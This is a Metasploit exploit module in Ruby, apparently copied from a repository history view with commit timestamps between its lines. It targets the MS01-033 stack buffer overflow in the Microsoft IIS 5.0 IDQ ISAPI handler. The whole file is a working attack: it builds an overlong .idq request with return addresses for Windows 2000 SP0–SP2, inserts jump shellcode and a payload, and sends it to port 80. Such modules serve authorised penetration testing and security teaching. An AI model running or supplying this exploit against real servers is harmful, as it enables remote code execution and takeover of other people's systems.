metasploit-framework/modules/exploits/windows/iis/ms01_033_idq.rb

75 lines
2.0 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GoodRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'MS01-033 Microsoft IIS 5.0 IDQ Path Overflow',
2013-08-30 21:28:54 +00:00
'Description' => %q{
This module exploits a stack buffer overflow in the IDQ ISAPI handler for
Microsoft Index Server.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2001-0500'],
[ 'OSVDB', '568'],
[ 'MSB', 'MS01-033'],
[ 'BID', '2880'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
2013-08-30 21:28:54 +00:00
'Privileged' => false,
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
2013-08-30 21:28:54 +00:00
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro English SP0', { 'Ret' => '0x6e8f3e24' } ],
[ 'Windows 2000 Pro English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],
],
'DisclosureDate' => 'Jun 18 2001',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options([Opt::RPORT(80)], self.class)
end
2013-08-30 21:28:54 +00:00
def exploit
connect
2013-08-30 21:28:54 +00:00
sploit = rand_text_alphanumeric(1) + ".idq?" + rand_text_alphanumeric(232)
sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4]
sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF="
sploit << rand_text_alphanumeric(1) + " HTTP/1.0\r\n\r\n" + rand_text_alphanumeric(46)
2013-08-30 21:28:54 +00:00
uri = '/' + sploit + payload.encoded
2013-08-30 21:28:54 +00:00
res = "GET #{uri}\r\n\r\n"
2013-08-30 21:28:54 +00:00
print_status("Trying target #{target.name}...")
2013-08-30 21:28:54 +00:00
sock.put(res)
2013-08-30 21:28:54 +00:00
handler
disconnect
end
end